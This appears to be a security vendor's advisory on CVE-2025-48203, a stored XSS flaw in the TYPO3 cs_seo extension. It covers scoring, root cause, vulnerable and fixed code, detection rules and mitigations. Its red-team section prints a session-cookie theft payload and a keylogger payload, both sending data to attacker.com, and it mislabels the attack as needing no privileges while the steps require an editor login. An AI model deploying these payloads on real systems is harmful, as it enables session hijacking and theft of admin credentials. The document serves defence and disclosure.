CVE-2025-48203
Executive Summary
CVE-2025-48203 is a stored Cross-Site Scripting (XSS) vulnerability in the cs_seo extension for TYPO3 CMS, affecting versions through 9.2.0. The vulnerability allows an attacker to inject arbitrary JavaScript into the TYPO3 backend, which is then executed when an administrator or editor views the affected SEO metadata fields. With a CVSS score of 6.4 (Medium), the risk is elevated due to the potential for session hijacking, privilege escalation, or defacement within the TYPO3 backend. No official patch has been released, and the vendor status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the availability of public proof-of-concept code increases the risk for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a third-party TYPO3 extension (cs_seo), which is not part of the core TYPO3 distribution. The extension is typically installed via Composer or the TYPO3 Extension Repository (TER). Since no patch is available, organizations using this extension must consider it a supply chain risk and evaluate alternative SEO extensions or implement strict input validation and output encoding.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – An unauthenticated attacker can inject the payload.
- User Interaction: Required (UI:R) – A victim (admin/editor) must view the malicious input.
- Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Some data modification possible.
- Availability Impact: None (A:N) – No direct denial of service.
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, in a TYPO3 backend context, an admin viewing SEO fields is a common action, making this a realistic attack vector.
Deep Dive & Mechanics
The cs_seo extension provides SEO-related fields for TYPO3 pages, such as meta titles, descriptions, and keywords. The vulnerability lies in the improper sanitization of user-supplied input when saving these fields. An attacker with access to the TYPO3 backend (e.g., an editor role) can inject malicious JavaScript into any of these fields. When an administrator or another editor views the page properties or the SEO module, the injected script executes in the context of the victim's session.
Root Cause: The extension fails to encode or sanitize output when rendering the SEO fields in the backend. This is a classic stored XSS (CWE-79) where the input is stored in the database and later rendered without proper escaping.
Attack Flow:
- Attacker logs into TYPO3 backend with editor privileges.
- Attacker navigates to a page's SEO settings.
- Attacker injects a payload like
<script>alert('XSS')</script>into the meta description field. - The payload is stored in the database.
- An administrator views the same page's SEO settings.
- The script executes in the admin's browser, allowing the attacker to perform actions on behalf of the admin (e.g., create new admin users, exfiltrate session cookies).
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code is assumed to be in the rendering logic of the cs_seo extension. A typical vulnerable pattern in TYPO3 extensions is:
Vulnerable Code (PHP):
// In a Fluid template or PHP view helper
{page.meta_description -> f:format.raw()}
This outputs the raw value without escaping.
Patched Code (Hypothetical):
// Use the standard TYPO3 escape view helper
{page.meta_description -> f:format.htmlspecialchars()}
Or in PHP:
$description = htmlspecialchars($page['meta_description'], ENT_QUOTES, 'UTF-8');
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a TYPO3 backend with at least editor privileges.
- The
cs_seoextension version <= 9.2.0 installed.
Exploitation Steps:
- Log in to the TYPO3 backend.
- Navigate to a page and edit its SEO settings (e.g., "Meta Description").
- Inject the following payload into the meta description field:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the page.
- Wait for an administrator to view the page's SEO settings.
- The admin's session cookie is exfiltrated to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team
Detection Steps:
- Monitor TYPO3 backend access logs for unusual editor activity, especially on SEO fields.
- Check the
tx_csseo_domain_model_metadatabase table for suspicious HTML/JavaScript content. - Use the YARA and Sigma rules provided in the Detection Engineering section.
Hunting Query (MySQL):
SELECT * FROM tx_csseo_domain_model_meta WHERE description REGEXP '<script|<img|onerror|onload';
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown domains from the TYPO3 server.
- Suspicious
Refererheaders containing TYPO3 backend URLs.
- File IOCs:
- Modified entries in
tx_csseo_domain_model_metatable containing JavaScript.
- Modified entries in
- Behavioral IOCs:
- Unexpected creation of new admin users.
- Unusual changes to page SEO metadata.
Detection Engineering
YARA Rule
rule CVE_2025_48203_XSS_Payload {
meta:
description = "Detects XSS payloads targeting TYPO3 cs_seo extension"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-48203"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=/i
$xss3 = /onload\s*=/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: TYPO3 cs_seo XSS Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in TYPO3 cs_seo extension fields
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: typo3
detection:
selection:
EventID: 100
Payload|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in SEO fields (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-48203 TYPO3 cs_seo XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"tx_csseo_domain_model_meta"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
cs_seoextension if not critical to operations. - Restrict editor privileges to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in POST requests to TYPO3 backend URLs.
Long-term Fix:
- Since no official patch exists, consider forking the extension and applying the fix described in the "Vulnerable vs. Patched Code" section.
- Migrate to an alternative SEO extension that is actively maintained and patched.
Workaround:
- Add the following PHP code to the TYPO3
AdditionalConfiguration.phpto sanitize output globally (may break other functionality):$GLOBALS['TYPO3_CONF_VARS']['SYS']['Objects'][\TYPO3\CMS\Fluid\ViewHelpers\Format\RawViewHelper::class] = [ 'className' => \TYPO3\CMS\Fluid\ViewHelpers\Format\HtmlspecialcharsViewHelper::class, ];
Valters IT
Securing Digital Ecosystems